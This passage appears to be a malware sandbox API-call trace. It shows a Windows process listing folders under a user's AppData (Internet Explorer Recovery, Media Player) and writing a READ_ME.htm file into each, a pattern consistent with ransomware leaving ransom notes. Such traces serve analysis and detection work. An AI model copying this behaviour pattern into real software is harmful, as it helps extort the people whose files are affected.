ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0xc874e7b0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc874e7b0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.256] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4d225200, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0xc874e7b0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc874e7b0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.257] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc6053f70, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xc6053f70, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc8832ff0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecoveryStore.{032A1BF2-2D23-11ED-88CB-000330E7FB75}.dat", cAlternateFileName="RECOVE~1.DAT")) returned 1 [0144.257] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc874e7b0, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xc874e7b0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xce1e8d10, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="{032A1BF3-2D23-11ED-88CB-000330E7FB75}.dat", cAlternateFileName="{032A1~1.DAT")) returned 1 [0144.257] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc874e7b0, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xc874e7b0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xce1e8d10, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="{032A1BF3-2D23-11ED-88CB-000330E7FB75}.dat", cAlternateFileName="{032A1~1.DAT")) returned 0 [0144.257] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.258] SetErrorMode (uMode=0x0) returned 0x1 [0144.258] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active", lpFilePart=0x0) returned 0x4c [0144.258] SetErrorMode (uMode=0x1) returned 0x0 [0144.258] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\internet explorer\\recovery\\active\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4d225200, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0xc874e7b0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc874e7b0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.258] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4d225200, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0xc874e7b0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc874e7b0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.259] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc6053f70, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xc6053f70, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc8832ff0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecoveryStore.{032A1BF2-2D23-11ED-88CB-000330E7FB75}.dat", cAlternateFileName="RECOVE~1.DAT")) returned 1 [0144.259] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc874e7b0, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xc874e7b0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xce1e8d10, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="{032A1BF3-2D23-11ED-88CB-000330E7FB75}.dat", cAlternateFileName="{032A1~1.DAT")) returned 1 [0144.259] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc874e7b0, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xc874e7b0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xce1e8d10, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="{032A1BF3-2D23-11ED-88CB-000330E7FB75}.dat", cAlternateFileName="{032A1~1.DAT")) returned 0 [0144.259] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.259] SetErrorMode (uMode=0x0) returned 0x1 [0144.259] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active\\READ_ME.htm", lpFilePart=0x0) returned 0x58 [0144.260] SetErrorMode (uMode=0x1) returned 0x0 [0144.260] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\internet explorer\\recovery\\active\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0144.263] GetFileType (hFile=0x1d0) returned 0x1 [0144.263] SetErrorMode (uMode=0x0) returned 0x1 [0144.263] GetFileType (hFile=0x1d0) returned 0x1 [0144.263] WriteFile (in: hFile=0x1d0, lpBuffer=0x2832070*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2832070*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0144.264] CloseHandle (hObject=0x1d0) returned 1 [0144.265] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active", lpFilePart=0x0) returned 0x51 [0144.265] SetErrorMode (uMode=0x1) returned 0x0 [0144.265] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x518e9d30, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x8e42ed80, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x8e42ed80, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.267] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x518e9d30, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x8e42ed80, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x8e42ed80, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.267] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x51935ff0, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x51935ff0, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x8e454ee0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecoveryStore.{8AB24C65-1C57-11EC-B986-C89F1DB658E4}.dat", cAlternateFileName="RECOVE~1.DAT")) returned 1 [0144.268] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8e42ed80, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x8e42ed80, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x8e454ee0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="{CBE13020-1C57-11EC-B986-C89F1DB658E4}.dat", cAlternateFileName="{CBE13~1.DAT")) returned 1 [0144.268] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8e42ed80, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x8e42ed80, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x8e454ee0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="{CBE13020-1C57-11EC-B986-C89F1DB658E4}.dat", cAlternateFileName="{CBE13~1.DAT")) returned 0 [0144.268] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.269] SetErrorMode (uMode=0x0) returned 0x1 [0144.269] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active", lpFilePart=0x0) returned 0x51 [0144.269] SetErrorMode (uMode=0x1) returned 0x0 [0144.270] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x518e9d30, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x8e42ed80, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x8e42ed80, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.271] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x518e9d30, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x8e42ed80, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x8e42ed80, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.271] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x51935ff0, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x51935ff0, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x8e454ee0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecoveryStore.{8AB24C65-1C57-11EC-B986-C89F1DB658E4}.dat", cAlternateFileName="RECOVE~1.DAT")) returned 1 [0144.271] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8e42ed80, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x8e42ed80, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x8e454ee0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="{CBE13020-1C57-11EC-B986-C89F1DB658E4}.dat", cAlternateFileName="{CBE13~1.DAT")) returned 1 [0144.271] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8e42ed80, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x8e42ed80, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x8e454ee0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="{CBE13020-1C57-11EC-B986-C89F1DB658E4}.dat", cAlternateFileName="{CBE13~1.DAT")) returned 0 [0144.272] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.273] SetErrorMode (uMode=0x0) returned 0x1 [0144.273] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\READ_ME.htm", lpFilePart=0x0) returned 0x5d [0144.273] SetErrorMode (uMode=0x1) returned 0x0 [0144.273] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0144.275] GetFileType (hFile=0x1d0) returned 0x1 [0144.275] SetErrorMode (uMode=0x0) returned 0x1 [0144.275] GetFileType (hFile=0x1d0) returned 0x1 [0144.275] WriteFile (in: hFile=0x1d0, lpBuffer=0x2838ba8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2838ba8*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0144.276] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0144.277] SetErrorMode (uMode=0x1) returned 0x0 [0144.277] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\internet explorer\\recovery\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0144.277] GetFileType (hFile=0x1d0) returned 0x1 [0144.277] SetErrorMode (uMode=0x0) returned 0x1 [0144.277] GetFileType (hFile=0x1d0) returned 0x1 [0144.277] WriteFile (in: hFile=0x1d0, lpBuffer=0x283d1b8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x283d1b8*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0144.279] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\READ_ME.htm", lpFilePart=0x0) returned 0x48 [0144.279] SetErrorMode (uMode=0x1) returned 0x0 [0144.279] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\internet explorer\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0144.280] GetFileType (hFile=0x1d0) returned 0x1 [0144.280] SetErrorMode (uMode=0x0) returned 0x1 [0144.280] GetFileType (hFile=0x1d0) returned 0x1 [0144.280] WriteFile (in: hFile=0x1d0, lpBuffer=0x28417a8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x28417a8*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0144.282] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player", lpFilePart=0x0) returned 0x37 [0144.282] SetErrorMode (uMode=0x1) returned 0x0 [0144.282] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\media player\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x798152d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xcba84960, ftLastAccessTime.dwHighDateTime=0x1d706b2, ftLastWriteTime.dwLowDateTime=0xcba84960, ftLastWriteTime.dwHighDateTime=0x1d706b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.288] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x798152d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xcba84960, ftLastAccessTime.dwHighDateTime=0x1d706b2, ftLastWriteTime.dwLowDateTime=0xcba84960, ftLastWriteTime.dwHighDateTime=0x1d706b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.288] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b5b110, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b5b110, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x2ada6de0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x105000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CurrentDatabase_372.wmdb", cAlternateFileName="CURREN~1.WMD")) returned 1 [0144.288] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b5b110, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x2acc25a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x2acc25a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x1106e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalMLS_3.wmdb", cAlternateFileName="LOCALM~1.WMD")) returned 1 [0144.288] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7983b430, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7983b430, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sync Playlists", cAlternateFileName="SYNCPL~1")) returned 1 [0144.288] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcba84960, ftCreationTime.dwHighDateTime=0x1d706b2, ftLastAccessTime.dwLowDateTime=0xcba84960, ftLastAccessTime.dwHighDateTime=0x1d706b2, ftLastWriteTime.dwLowDateTime=0xcba84960, ftLastWriteTime.dwHighDateTime=0x1d706b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Transcoded Files Cache", cAlternateFileName="TRANSC~1")) returned 1 [0144.288] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcba84960, ftCreationTime.dwHighDateTime=0x1d706b2, ftLastAccessTime.dwLowDateTime=0xcba84960, ftLastAccessTime.dwHighDateTime=0x1d706b2, ftLastWriteTime.dwLowDateTime=0xcba84960, ftLastWriteTime.dwHighDateTime=0x1d706b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Transcoded Files Cache", cAlternateFileName="TRANSC~1")) returned 0 [0144.288] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.289] SetErrorMode (uMode=0x0) returned 0x1 [0144.290] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player", lpFilePart=0x0) returned 0x37 [0144.290] SetErrorMode (uMode=0x1) returned 0x0 [0144.290] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\media player\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x798152d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xcba84960, ftLastAccessTime.dwHighDateTime=0x1d706b2, ftLastWriteTime.dwLowDateTime=0xcba84960, ftLastWriteTime.dwHighDateTime=0x1d706b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.291] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x798152d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xcba84960, ftLastAccessTime.dwHighDateTime=0x1d706b2, ftLastWriteTime.dwLowDateTime=0xcba84960, ftLastWriteTime.dwHighDateTime=0x1d706b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.291] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b5b110, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b5b110, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x2ada6de0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x105000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CurrentDatabase_372.wmdb", cAlternateFileName="CURREN~1.WMD")) returned 1 [0144.291] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b5b110, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x2acc25a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x2acc25a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x1106e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalMLS_3.wmdb", cAlternateFileName="LOCALM~1.WMD")) returned 1 [0144.291] 